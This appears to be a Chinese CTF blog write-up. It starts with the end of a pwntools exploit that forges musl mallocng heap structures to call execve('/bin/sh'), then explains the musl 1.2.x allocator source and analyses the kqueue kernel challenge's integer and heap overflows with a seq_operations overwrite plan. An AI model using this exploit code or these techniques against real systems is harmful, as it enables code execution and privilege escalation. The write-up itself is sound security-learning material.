heap_secret_ptr = libc_base + 0xad9c0
success("heap_secret_ptr >> "+hex(heap_secret_ptr))

forget()
add("A"*0x4, "a"*0x4)
add("B"*0x4, "b"*0x4)
dele("A"*0x4)
for i in range(7):
show("x"*0x28)

fake_note = p64(heap_base+0x48c0) + p64(heap_secret_ptr)
fake_note += p64(4) + p64(8)
fake_note += p64(0)
add("C"*0x4, fake_note)
show("a"*4)

p.recvuntil("0x8:")
heap_secret = 0
for i in range(8):
heap_secret += int(p.recv(2).decode(), 16) << (i*8)
success("heap_secret >> "+hex(heap_secret))

for i in range(7):
add("y"*0x4, "y"*0x4)
forget()

new_heap2 = libc_base - 0x7000
success("new_heap2 >> "+hex(new_heap2))

add("A"*0x4, "a"*0x4)

execve = libc_base + 0x4e0c0
fake_area_addr = new_heap2 + 0x1000
fake_meta_ptr = fake_area_addr + 0x20
fake_group_ptr = fake_meta_ptr + 0x30
fake_iofile_ptr = fake_group_ptr + 0x10
fake_chunk_ptr = fake_iofile_ptr - 0x8

success("execve >> "+hex(execve))
success("fake_area_addr >> "+hex(fake_area_addr))
success("fake_meta_ptr >> "+hex(fake_meta_ptr))
success("fake_group_ptr >> "+hex(fake_group_ptr))
success("fake_iofile_ptr >> "+hex(fake_iofile_ptr))

fake_area = ""
fake_area += p64(heap_secret) + "M" * 0x18

fake_group = ""
fake_group += p64(fake_meta_ptr)

fake_iofile = ""
fake_iofile += p64(0)
fake_iofile += "/bin/sh\x00" + 'X' * 32 + p64(0xdeadbeef) + 'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve)
fake_iofile = fake_iofile.ljust(0x500, "\x00")

fake_meta = ""
fake_meta += p64(fake_iofile_ptr) + p64(stdout_used)
fake_meta += p64(fake_group_ptr)
fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12))
fake_meta = fake_meta.ljust(0x30)

payload = "z"*(0x1000-0x20)
payload += fake_area + fake_meta + fake_group + fake_iofile
payload = payload.ljust(0x2000, "z")

add("B"*0x4, payload)
dele("A"*0x4)

for i in range(7):
show("x"*0x28)

fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr)
fake_note += p64(4) + p64(4)
fake_note += p64(0)
add("C"*0x4, fake_note)
add("D"*0x4, "d"*4)

dele("y"*0x4)

p.sendline("5")

p.interactive()

小结:

musl pwn 初探,基本上就是调别人的 exp,下次争取自己打

Libc Musl 简析

Musl 是一个轻量级的C标准库,设计作为 GNU C library (glibc)、 uClibc 或 Android Bionic 的替代用于嵌入式操作系统和移动设备

它遵循 POSIX 2008 规格和 C99 标准,采用 MIT 许可证授权,使用 Musl 的 Linux 发行版和项目包括 sabotagebootstrap-linuxLightCube OS

Libc Musl 堆管理器 - 1.2.x

1.2.x 和 1.1.x 堆管理结构几乎完全不同:

  • 1.2.x 新版本使用 mallocng
  • 1.1.x 旧版本使用 oidmalloc

1.2.x Musl 关键结构体

在 Musl 中有几大重要的结构体:

malloc_context:musl libc 的全局管理结构指针,存放在 libc.so.bss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct malloc_context {
uint64_t secret; /* 在每页的开头,用于校验/检查meta_area->check */
#ifndef PAGESIZE
size_t pagesize;
#endif
int init_done; /* 用于判断该结构体是否进行了初始化 */
unsigned mmap_counter; /* mmap计数器 */
struct meta *free_meta_head; /* 释放堆内存管理器 */
struct meta *avail_meta; /* 可用的的堆内存管理器 */
size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
struct meta_area *meta_area_head, *meta_area_tail; /* 头指针和尾指针 */
unsigned char *avail_meta_areas;
struct meta *active[48]; /* 可以用来分配的meta */
size_t usage_by_class[48]; /* 对应大小的group所管理的chunk个数 */
uint8_t unmap_seq[32], bounces[32];
uint8_t seq;
uintptr_t brk; /* 使用brk开拓的heap的最高地址 */
};
  • 数组 active 中的每个条目都是一个 meta 链表,其含义为 “有可用 chunk 的 meta 链表”(当一个 meta 被填满时,它将不会出现在 active 中)
  • musl 把 chunk 大小分为48类,用 size_to_class 进行计算(与 *active[48] 对应)
1
2
3
4
5
6
7
8
9
10
11
12
13
const uint16_t size_classes[] = {
1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 12, 15,
18, 20, 25, 31,
36, 42, 50, 63,
72, 84, 102, 127,
146, 170, 204, 255,
292, 340, 409, 511,
584, 682, 818, 1023,
1169, 1364, 1637, 2047,
2340, 2730, 3276, 4095,
4680, 5460, 6552, 8191,
};

meta_area:mallocng 在分配 meta 时,总是先分配一页的内存,然后划分为多个 meta 区域,而该页的最开始存放的就是 meta_area

1
2
3
4
5
6
struct meta_area {
uint64_t check; /* 用于和malloc_context->secret进行匹配 */
struct meta_area *next; /* 下一个节点指针 */
int nslots; /* 当前使用的meta数量 */
struct meta slots[]; /* 指向meta的指针(结构体meta_area后面的内存就是meta数组) */
};
  • slots 结构体数组可以看作是一个 meta 的集合

meta:组成一个 meta 队列

1
2
3
4
5
6
7
8
9
struct meta {
struct meta *prev, *next; /* 双向链表 */
struct group *mem; /* 指向group */
volatile int avail_mask, freed_mask; /* 可用/释放chunk的bitmap */
uintptr_t last_idx:5; /* 表示最后一个chunk的下标 */
uintptr_t freeable:1;
uintptr_t sizeclass:6; /* group的大小,如果mem是mmap分配,固定为63 */
uintptr_t maplen:8*sizeof(uintptr_t)-12; /* 如果group是mmap分配的,则代表内存页数,否则为'0' */
};
  • meta 可以是 brk 分配的,可以是 mmap 映射的

group:由多个相同大小的 chunk 以及一些控制信息组成的(并且物理相邻)

1
2
3
4
5
6
struct group {
struct meta *meta; /* 指回meta */
unsigned char active_idx:5;
char pad[UNIT - sizeof(struct meta *) - 1]; /* 0x10字节对齐(NUIT为0x10) */
unsigned char storage[];
};
  • group 只能是 mmap 映射的
  • 这里的 storage 就是我们习惯中理解的 chunk

chunk 没有专门在代码中定义,但总体结构如下:

1
2
3
4
5
6
struct chunk {
char prev_user_data[]; /* 用于存储上一个chunk的数据 */
uint8_t idx; /* 低5bit作为idx表示这是group中第几个chunk,高3bit作为预留位 */
uint16_t offset; /* 与第一个chunk的偏移 */
char user_data[]; /* 用于存储数据 */
};
  • group 中第一个 chunk 的 pre_user_data 为一个指针,指向这个 group 的 meta 元数据(其实就是 group->meta 指针)
  • 其余 chunk 使用 offset 表示与所属 group 中第一个 chunk 的偏移,而 pre_user_data 用于存储上一个 chunk 的数据

这些结构体的关系如下图:

  • 相同类型的 meta 之间通过双向链表进行连接,头节点地址存储于 malloc_context->active
  • 而 meta_area 会形成一条单向链表,其头节点和尾节点指针都存储于 malloc_context

1.2.x Musl 关键函数

malloc:核心分配函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
void *malloc(size_t n)
{
if (size_overflows(n)) return 0;
struct meta *g;
uint32_t mask, first;
int sc;
int idx;
int ctr;

/* 判断size大小是否大于131052(0x1FFEC),由于chunk存在12字节的复用,所以这里大小为0x1FFEC */
if (n >= MMAP_THRESHOLD) { /* 大于则使用mmap进行内存分配 */
size_t needed = n + IB + UNIT;
void *p = mmap(0, needed, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
wrlock(); /* 加malloc锁 */
step_seq();
g = alloc_meta(); /* 分配一个meta,mmap得到的chunk会记录在这个meta结构体中 */
if (!g) {
unlock(); /* 解除malloc锁 */
munmap(p, needed);
return 0;
}

g->mem = p; /* 返回的chunk指针 */
g->mem->meta = g; /* meta指针 */
g->last_idx = 0; /* 该group只存在一个chunk,idx设为'0' */
g->freeable = 1; /* 记录是否可释放的标志位 */
g->sizeclass = 63; /* 由mmap分配的内存,默认为'63' */
g->maplen = (needed+4095)/4096; /* 计算映射内存的长度 */
g->avail_mask = g->freed_mask = 0; /* 设置两个bitmap */
ctx.mmap_counter++;
idx = 0;
goto success;
}

sc = size_to_class(n); /* 计算size类别 */

rdlock(); /* 对malloc函数进行上锁 */
g = ctx.active[sc]; /* 取得对应的meta结构体(可能取NULL,也可能取满的meta) */

/* 如果这个sc对应的meta为空,则根据条件选择更大的meta进行分配 */
if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) {
/* if g!=0 sc∈[4,32) sc≠6 sc为偶数:对应的meta数组存在可用chunk */
size_t usage = ctx.usage_by_class[sc|1];
if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask
&& !ctx.active[sc|1]->freed_mask))
usage += 3;
if (usage <= 12)
sc |= 1; /* 尝试增加sc的值 */
g = ctx.active[sc];
}

for (;;) { /* avail_mask就是表示可用chunk的bitmap */
mask = g ? g->avail_mask : 0; /* g=0,表示其没有可用的chunk,first一定为'0' */
first = mask&-mask; /* 只要avail_mask的每个位不全为'0',first就也不为'0',代表还有可用的chunk */
if (!first) break; /* 没有avail的chunk(满的meta),跳出循环 */
if (RDLOCK_IS_EXCLUSIVE || !MT)
g->avail_mask = mask-first; /* 将取出chunk对应的avail设为'0' */
else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) /* 自旋 */
continue;
idx = a_ctz_32(first); /* 获取对应chunk的idx */
goto success;
}
upgradelock(); /* malloc锁更新 */

idx = alloc_slot(sc, n); /* 申请新的chunk(重新分配meta) */
if (idx < 0) {
unlock(); /* 解除malloc锁 */
return 0;
}
g = ctx.active[sc]; /* 更新g,找到对应的meta */

success:
ctr = ctx.mmap_counter;
unlock(); /* 解除malloc锁 */
return enframe(g, idx, n, ctr); /* 返回分配的chunk */
}
  • 判断是否需要调用 mmap
  • 先计算 chunk size 的范围,判断 ctx.active[sc] 中对应的 meta,此时有3种情况:
    • meta 为 NULL:
      • 查看是否可以获取更大的 meta,进入下一步(判断 meta 是否装满)
    • meta 存在但是装满:
      • 调用 alloc_slot 尝试分配新的 meta,进入下一步(返回目标 chunk)
    • meta 存在并且有空闲:
      • 计算对应 chunk 的 idx,返回目标 chunk

其中有一些重要的函数:alloc_metaalloc_slot

alloc_meta:分配一个 meta

1
#define alloc_meta __malloc_alloc_meta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
struct meta *alloc_meta(void)
{
struct meta *m;
unsigned char *p;
if (!ctx.init_done) { /* 查看ctx是否进行了初始化,没有就简单初始化一下 */
#ifndef PAGESIZE
ctx.pagesize = get_page_size();
#endif
ctx.secret = get_random_secret();
ctx.init_done = 1;
}
size_t pagesize = PGSZ;
if (pagesize < 4096) pagesize = 4096;
/* 查看释放的meta队列是否存在空闲的结点,存在的话就直接返回 */
if ((m = dequeue_head(&ctx.free_meta_head))) return m;
if (!ctx.avail_meta_count) {
int need_unprotect = 1;
if (!ctx.avail_meta_area_count && ctx.brk!=-1) {
/* 新分配一页内存 */
uintptr_t new = ctx.brk + pagesize;
int need_guard = 0;
if (!ctx.brk) {
need_guard = 1;
ctx.brk = brk(0);
ctx.brk += -ctx.brk & (pagesize-1);
new = ctx.brk + 2*pagesize;
}
if (brk(new) != new) { /* 获取内存失败 */
ctx.brk = -1;
} else { /* 获取内存成功 */
if (need_guard) mmap((void *)ctx.brk, pagesize,
PROT_NONE, MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0);
/* 保护页,在brk后面映射一个不可用的页(PROT_NONE)
如果堆溢出到这里就会发送SIGV */
ctx.brk = new;
ctx.avail_meta_areas = (void *)(new - pagesize);
ctx.avail_meta_area_count = pagesize>>12;
need_unprotect = 0;
}
}
if (!ctx.avail_meta_area_count) { /* 如果前面brk()分配失败了,直接mmap匿名映射一片PROT_NONE的内存再划分 */
size_t n = 2UL << ctx.meta_alloc_shift;
p = mmap(0, n*pagesize, PROT_NONE,
MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) return 0;
ctx.avail_meta_areas = p + pagesize;
ctx.avail_meta_area_count = (n-1)*(pagesize>>12);
ctx.meta_alloc_shift++;
}
p = ctx.avail_meta_areas;
if ((uintptr_t)p & (pagesize-1)) need_unprotect = 0;
if (need_unprotect)
if (mprotect(p, pagesize, PROT_READ|PROT_WRITE)
&& errno != ENOSYS)
return 0;
ctx.avail_meta_area_count--;
ctx.avail_meta_areas = p + 4096;
if (ctx.meta_area_tail) {
ctx.meta_area_tail->next = (void *)p;
} else {
ctx.meta_area_head = (void *)p;
}
ctx.meta_area_tail = (void *)p;
ctx.meta_area_tail->check = ctx.secret;
ctx.avail_meta_count = ctx.meta_area_tail->nslots
= (4096-sizeof(struct meta_area))/sizeof *m;
ctx.avail_meta = ctx.meta_area_tail->slots;
}
ctx.avail_meta_count--;
m = ctx.avail_meta++;
m->prev = m->next = 0;
return m;
}

alloc_slot:申请新的 chunk(重新分配 meta)

1
2
3
4
5
6
7
8
9
10
11
12
static int alloc_slot(int sc, size_t req)
{
uint32_t first = try_avail(&ctx.active[sc]); /* 寻找队列中可用的chunk */
if (first) return a_ctz_32(first);

struct meta *g = alloc_group(sc, req); /* 给sc分配一个meta再分配一个新的group结构体 */
if (!g) return -1;

g->avail_mask--; /* 第一个chunk被使用了 */
queue(&ctx.active[sc], g); /* 分配的meta入队 */
return 0;
}

alloc_group:给 sc 分配一个 meta 再分配一个新的 group 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
static struct meta *alloc_group(int sc, size_t req)
{
size_t size = UNIT*size_classes[sc];
int i = 0, cnt;
unsigned char *p;
struct meta *m = alloc_meta(); /* 分配一个新的meta用于管理新的meta */
if (!m) return 0;
size_t usage = ctx.usage_by_class[sc];
size_t pagesize = PGSZ;
int active_idx;

/* cnt为需要增加的chunk数量,以下算法是通过sc来求得最优cnt */
if (sc < 9) {
while (i<2 && 4*small_cnt_tab[sc][i] > usage)
i++;
cnt = small_cnt_tab[sc][i];
} else {
cnt = med_cnt_tab[sc&3];
while (!(cnt&1) && 4*cnt > usage)
cnt >>= 1;
while (size*cnt >= 65536*UNIT)
cnt >>= 1;
}

if (cnt==1 && size*cnt+UNIT <= pagesize/2) cnt = 2; /* 如果在上面我们的cnt为'1',是不够使用mmap的,将cnt增加到2可能就可以了 */
if (size*cnt+UNIT > pagesize/2) { /* 通过mmap分配 */
int nosmall = is_bouncing(sc);
account_bounce(sc);
step_seq();

if (!(sc&1) && sc<32) usage += ctx.usage_by_class[sc+1];

if (4*cnt > usage && !nosmall) {
if (0);
else if ((sc&3)==1 && size*cnt>8*pagesize) cnt = 2;
else if ((sc&3)==2 && size*cnt>4*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>8*pagesize) cnt = 3;
else if ((sc&3)==0 && size*cnt>2*pagesize) cnt = 5;
}
size_t needed = size*cnt + UNIT; /* 需要分配的大小 */
needed += -needed & (pagesize-1); /* 进行对齐操作 */

if (!nosmall && cnt<=7) {
req += IB + UNIT;
req += -req & (pagesize-1);
if (req<size+UNIT || (req>=4*pagesize && 2*cnt>usage)) {
cnt = 1;
needed = req;
}
}

p = mmap(0, needed, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
if (p==MAP_FAILED) {
free_meta(m);
return 0;
}
m->maplen = needed>>12;
ctx.mmap_counter++; /* mmap申请的内存数量加'1' */
active_idx = (4096-UNIT)/size-1; /* 计算active_idx(最多为cnt-1) */
if (active_idx > cnt-1) active_idx = cnt-1;
if (active_idx < 0) active_idx = 0;
} else { /* 通过brk分配 */
int j = size_to_class(UNIT+cnt*size-IB); /* 将size转化为内部的类 */
int idx = alloc_slot(j, UNIT+cnt*size-IB); /* 重新分配meta(又调用回去了?有点迷) */
if (idx < 0) {
free_meta(m);
return 0;
}
struct meta *g = ctx.active[j]; /* 直接获取meta */
p = enframe(g, idx, UNIT*size_classes[j]-IB, ctx.mmap_counter);
m->maplen = 0;
p[-3] = (p[-3]&31) | (6<<5);
for (int i=0; i<=cnt; i++)
p[UNIT+i*size-4] = 0;
active_idx = cnt-1;
}
ctx.usage_by_class[sc] += cnt; /* 这个sc又增加了cnt个chunk */
m->avail_mask = (2u<<active_idx)-1;
m->freed_mask = (2u<<(cnt-1))-1 - m->avail_mask;
m->mem = (void *)p;
m->mem->meta = m;
m->mem->active_idx = active_idx;
m->last_idx = cnt-1;
m->freeable = 1;
m->sizeclass = sc;
return m;
}

free:释放 chunk 的核心函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void free(void *p)
{
if (!p) return;

struct meta *g = get_meta(p); /* 寻找释放chunk对应的meta结构体 */
int idx = get_slot_index(p); /* 获取对应chunk在对应group下标 */
size_t stride = get_stride(g); /* 获取chunk的大小 */
unsigned char *start = g->mem->storage + stride*idx;
unsigned char *end = start + stride - IB;
get_nominal_size(p, end); /* 计算chunk的真实大小 */
uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1; /* 计算chunk的bitmap */
((unsigned char *)p)[-3] = 255; /* 将p[-3]置为0xff(对应chunk的下标),使其无效 */
*(uint16_t *)((char *)p-2) = 0; /* 将p[-1],p[-2]置为'0'(即(uint_64)p[-1]=0xff)
chunk的头部存在0x10大小的控制信息,这一步将其head+0x8的位置置为0xff */

if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) {
unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1));
size_t len = (end-base) & -PGSZ;
if (len) {
int e = errno;
madvise(base, len, MADV_FREE);
errno = e;
}
}

/* 在meta->free_mask进行记录,表示该chunk被释放 */
for (;;) {
uint32_t freed = g->freed_mask;
uint32_t avail = g->avail_mask;
uint32_t mask = freed | avail; /* mask=所有被释放的chunk+现在可用的chunk */
assert(!(mask&self)); /* 对应:要释放的chunk既不能在freed中,也不在avail中 */
if (!freed || mask+self==all) break;
if (!MT)
g->freed_mask = freed+self;
else if (a_cas(&g->freed_mask, freed, freed+self)!=freed) /* 如遇多线程使用原子操作 */
continue;
return;
}

wrlock();
struct mapinfo mi = nontrivial_free(g, idx); /* 处理meta */
unlock();
if (mi.len) {
int e = errno;
munmap(mi.base, mi.len);
errno = e;
}
}

nontrivial_free:设置关于属于该 group 的 meta

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
uint32_t self = 1u<<i;
int sc = g->sizeclass;
uint32_t mask = g->freed_mask | g->avail_mask;

if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
/* 如果group中所有chunk要么freed要么avail,并且g可以被释放,那么就要回收掉整个meta */
if (g->next) { /* 检查改meta是否合法 */
assert(sc < 48);
int activate_new = (ctx.active[sc]==g);
dequeue(&ctx.active[sc], g);
if (activate_new && ctx.active[sc])
/* 如果g是队列中开头的meta,那么将它弹出队列后,要激活后一个meta */
activate_group(ctx.active[sc]);
}
return free_group(g); /* meta已经取出,现在要释放这个meta */
} else if (!mask) {
/* 如果mask==0,也就是这个group中所有的chunk都被分配出去了 */
assert(sc < 48); /* 判断sc是否合法 */
if (ctx.active[sc] != g) {
queue(&ctx.active[sc], g);
}
}
a_or(&g->freed_mask, self);
return (struct mapinfo){ 0 };
}

参考:musl-1.2.2堆内存分配源码分析 | eur1ka’s blog

Kqueue

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

#stty intr ^]
stty sane
exec qemu-system-x86_64 \
-cpu kvm64 \
-m 512 \
-nographic \
-kernel "bzImage" \
-append "console=ttyS0 oops=panic panic=-1 pti=off kaslr quiet" \
-monitor /dev/null \
-initrd "./rootfs.cpio" \
-s
  • kaslr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/sh
# devtmpfs does not get automounted for initramfs

export PATH=/bin
export PATH=/sbin:$PATH

[ -d /dev ] || mkdir -m 0755 /dev
[ -d /sys ] || mkdir /sys
[ -d /proc ] || mkdir /proc
[ -d /tmp ] || mkdir /tmp
[ -d /run ] || mkdir /run
[ -d /root ] || mkdir /root
[ -d /etc ] || mkdir /etc
[ -d /home ] || mkdir /home

chmod 644 /etc/passwd
chmod 644 /etc/group
chown -R root:root /
chmod 700 /flag

chmod 700 -R /root
chown ctf:ctf -R /home/ctf
chmod 777 /home/ctf
chmod 755 /dev

mkdir -p /var/lock
mount -t sysfs -o nodev,noexec,nosuid sysfs /sys
mount -t proc -o nodev,nosuid proc /proc
ln -sf /proc/mounts /etc/mtab
mount -t devtmpfs -o nosuid,mode=0755 udev /dev
mkdir -p /dev/pts
mount -t devpts -o noexec,nosuid,gid=5,mode=0620 devpts /dev/pts || true
mount -t tmpfs -o "noexec,nosuid,size=10%,mode=0755" tmpfs /run

insmod /root/kqueue.ko
chmod o+rw /dev/kqueue
chmod u+s /bin/ping

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo 1 > /proc/sys/kernel/dmesg_restrict

# use the /dev/console device node from devtmpfs if possible to not
# confuse glibc's ttyname_r().
# This may fail (E.G. booted with console=), and errors from exec will
# terminate the shell, so use a subshell for the test
if (exec 0</dev/console) 2>/dev/null; then
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
fi

exec /sbin/init "$@"
  • perf_event_paranoid:控制非特权用户对性能事件系统的使用(无CAP_SYS_ADMIN),预设值为 “2”
  • dmesg_restrict
  • kptr_restrict

经过测试,重新打包会导致程序权限出现问题(不知道为什么),这里只好把其他题目的文件系统拿来用

逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
__int64 __fastcall kqueue_ioctl(__int64 fd, unsigned int cmd, __int64 ptr)
{
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v7; // r9
__int64 kqueue; // rbp
int v10[2]; // [rsp+0h] [rbp-38h] BYREF
__int16 v11[4]; // [rsp+8h] [rbp-30h]
void *src; // [rsp+10h] [rbp-28h]
unsigned __int64 v13; // [rsp+18h] [rbp-20h]

v13 = __readgsqword(0x28u);
mutex_lock(&operations_lock);
if ( copy_from_user(v10, ptr, 24LL) )
err((__int64)"[-] copy_from_user failed");
if ( cmd == 0xDAADEEEE )
{
kqueue = edit_kqueue((int)v10, ptr, v4, v5, v6, v7, *(__int64 *)v10, v11[0], src);
}
else if ( cmd > 0xDAADEEEE )
{
kqueue = -1LL;
if ( cmd == 0xDEADC0DE )
kqueue = create_kqueue((__int64)v10, ptr, v4, v5, v6, v7, *(__int64 *)v10);
}
else if ( cmd == 0xB105BABE )
{
kqueue = save_kqueue_entries((__int64)v10, ptr, v4, v5, v6, v7, *(__int64 *)v10, v11[0]);
}
else if ( cmd == 0xBADDCAFE )
{
kqueue = delete_kqueue((__int64)v10, ptr, v4, v5, v6, v7, v10[0], v11[0]);
}
else
{
kqueue = -1LL;
}
mutex_unlock(&operations_lock);
return kqueue;
}

第一眼看上去程序很乱,但切入点在这一句:

1
copy_from_user(v10, ptr, 24LL)
  • 由此我们可以判断 v10 是一个结构体,并且大小为 24 字节
1
2
3
4
5
6
7
8
9
00000000 Node struc ; (sizeof=0x18, mappedto_3)  ; XREF: delete_kqueue/r
00000000 ; edit_kqueue/r ...
00000000 field_0 dq ? ; XREF: delete_kqueue+2/r
00000000 ; edit_kqueue+A/r ...
00000008 field_8 dq ? ; XREF: edit_kqueue+15/r
00000008 ; save_kqueue_entries+19/r ...
00000010 field_10 dq ? ; XREF: kqueue_ioctl+68/r
00000010 ; kqueue_ioctl+B7/r ...
00000018 Node ends
  • 先对 v10 设置一个结构体,具体的条目可以之后再确定
  • 例如:通过 _kmalloc 可以确定哪个条目代表 size(通过提示信息也可以判断一些条目)
1
2
3
4
5
6
7
8
chunk = (char *)_kmalloc(24LL * (unsigned int)(tmp.size1 + 1) + 0x20, 0xCC0LL);
chunkP = validate(chunk);
chunk = (char *)_kmalloc((unsigned __int16)tmp.size2, 0xCC0LL);
*((_QWORD *)chunkP + 3) = validate(chunk);
*(_WORD *)chunkP = tmp.size2;
*((_DWORD *)chunkP + 4) = tmp.size1;
*((_QWORD *)chunkP + 1) = v2;
v6 = chunkP + 32;
  • 其实这里可以看出来程序还有一个结构体 chunkP,大小不确定
  • 对于大小不确定并且在堆上的结构体,我们可以尽量多设置一些条目,然后根据情况进行修改

复原结构体后,随便打开一个参数很多的函数:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall create_kqueue(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
unsigned int v7; // r13d
unsigned __int64 v8; // rbx
__int64 v9; // rax
__int64 v10; // r15
__int64 v11; // rax
__int64 v12; // rbx
int i; // ebp
__int64 v14; // rax
__int64 j; // rax
unsigned int v16; // ebx
  • 发现 a1~a6 根本没有用上(从 a7(v10) 开始有用),可以用 IDA 删除这些多余的参数
  • v10 是一个结构体(不是结构体指针),出现在 RBP+0x8 的位置
  • IDA 分析时不会把 v10 当做是一个结构体,而是把它拆分为多个使用过的结构体条目(没有使用过的结构体条目会被直接忽略)
1
2
3
4
5
6
7
8
9
10
11
char request; // [rsp+3Eh] [rbp+Eh]
char request_2; // [rsp+40h] [rbp+10h]
const void *request_3; // [rsp+48h] [rbp+18h]

if ( *(_WORD *)&request_2 > 5u )
err((__int64)"[-] Invalid kqueue idx");
queue = (Queue *)(&kqueues)[*(unsigned __int16 *)&request_2];
if ( !queue )
err((__int64)"[-] kqueue does not exist");
if ( *(unsigned __int16 *)&request > queue->max_entries )
err((__int64)"[-] Invalid kqueue entry_idx");
  • request_2 就是 Node->queue_idx
  • request 就是 Node->entry_idx
  • request_3 就是 Node->data
  • 由于 Node->data_sizeNode->max_entries 没有使用,于是被 IDA 忽略了

对于这种情况建议不要把形参修成一个结构体,而是就把它设置为多个结构体条目:

1
2
3
4
5
6
7
8
9
10
11
unsigned __int16 entry_idx; // [rsp+3Eh] [rbp+Eh]
unsigned __int16 queue_idx; // [rsp+40h] [rbp+10h]
char *data; // [rsp+48h] [rbp+18h]

if ( queue_idx > 5u )
err("[-] Invalid kqueue idx");
queue = kqueues[queue_idx];
if ( !queue )
err("[-] kqueue does not exist");
if ( entry_idx > queue->max_entries )
err("[-] Invalid kqueue entry_idx");

分析全局,在内核堆上的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
----------------
[ queue ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
[ kqueue_entry ]
----------------
  • 这一整片内存的大小是确定的
  • 程序根据 queue->max_entries 来确定 kqueue_entry 的个数
  • 每个 queuekqueue_entry 都有一个 data 条目,指向一片大小为 request.data_size 的堆空间

漏洞分析

create_kqueue 中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
num = request.max_entries + 1;

......

if ( num > 1 )
{
for ( i = 1; i != num; ++i )
{
if ( request.max_entries != i )
current_entry->next = 0LL;
current_entry->index = i;
data = (char *)_kmalloc(request.data_size, 0xCC0LL);
current_entry->data = validate(data);
++current_entry;
current_entry[-1].next = current_entry;
}
}
  • 局部变量 num 的类型为 unsigned int,对其加一可能会导致整形溢出
  • 写入 0xffffffff 会导致 request.max_entries + 1 溢出为 0x0,导致不初始化 queue_entry 的同时使得 queue->max_entries = 0xffffffff
1
2
3
queue_size = 24LL * (request.max_entries + 1) + 0x20;
if ( queue_size > 0x10020 )
err("[-] Max kqueue alloc limit reached");
  • 同理,request.max_entries + 1 的溢出会导致 queue_size 变为 0x20

save_kqueue_entries 中:

1
2
3
4
5
6
7
8
new_queue = (Queue *)kzalloc(queue->queue_size, 0xCC0);
new_queue = (Queue *)validate((char *)new_queue);
if ( (unsigned __int64)request.data_size > queue->queue_size )
err("[-] Entry size limit exceed");
data = queue->data;
if ( !request.data_size || !data )
err("[-] Internal error");
memcpy(new_queue, data, request.data_size);
  • request.data_size 是我们输入的数据,过大会导致 new_queue 堆溢出

入侵思路

首先 save_kqueue_entriesnew_queue 是有堆溢出的

结合 create_kqueue 中的整形溢出,就会使 new_queuekmalloc-32 中申请空间,然后就可以在 kmalloc-32 中进行溢出

对于 kmalloc-32 我们可以使用 seq_operations

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
  • 当我们 Read 一个 stat 文件时,内核会调用其 proc_ops->proc_read 指针(其默认值为 seq_read 函数)
  • 进而调用 seq_operations->start

程序没有提供泄露内核基地址函数(ldt_struct 结构体使用 kmalloc-16,也无法使用),但程序没有开 smap smep,可以注入 shellcode 并在内核栈上找恰当的数据以获得内核基址

  • PS:在 rsp+0x8 的位置可以泄露内核基地址

